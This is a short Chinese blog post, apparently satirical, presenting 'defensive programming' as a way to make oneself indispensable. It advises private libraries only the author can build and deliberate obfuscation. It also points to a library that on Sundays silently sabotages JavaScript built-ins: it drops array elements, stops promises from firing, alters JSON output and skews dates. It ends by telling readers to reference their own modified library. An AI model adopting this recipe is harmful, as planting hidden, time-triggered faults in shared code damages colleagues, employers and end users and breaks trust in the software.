防御编程终极指南

编辑 / 发布于2025-09-05 / 更新于2025-09-05 / 阅读 6

  1. 单独写一些库,在引用到项目里面,在编译的时候只有你的本地环境可以编译,其他编译互联网下载不到

  2. push的时候稍微改点别的变量函数名,单字母名称这些,把函数全合并到一起,写一个几千行的函数,多用继承多态,逐渐形成:poop:山代码

  3. https://github.com/wll8/lodash-utils 此代码仅在周日的时候执行以下逻辑:

    • Array.includes 应用的数组长度可以被 7 整除时,永远返回 false。

    • Array.map 有 5% 概率会丢失最后一个元素。

    • Array.filter 的结果有 5% 的概率丢失最后一个元素。

    • Array.forEach 会卡死一段时间。

    • setTimeout 总是会比预期时间慢 1 秒才触发。

    • Promise.then 有 10% 概率不会触发。

    • JSON.stringify 有 30% 概率会把 I(大写字母 I) 变成 l(小写字母 L)。

    • Date.getTime () 的结果总是会慢一个小时。

    • localStorage.getItem 有 5% 几率返回空字符串。

    • Math.random () 的取值范围改为 01.1

  4. 引用自己修改后的库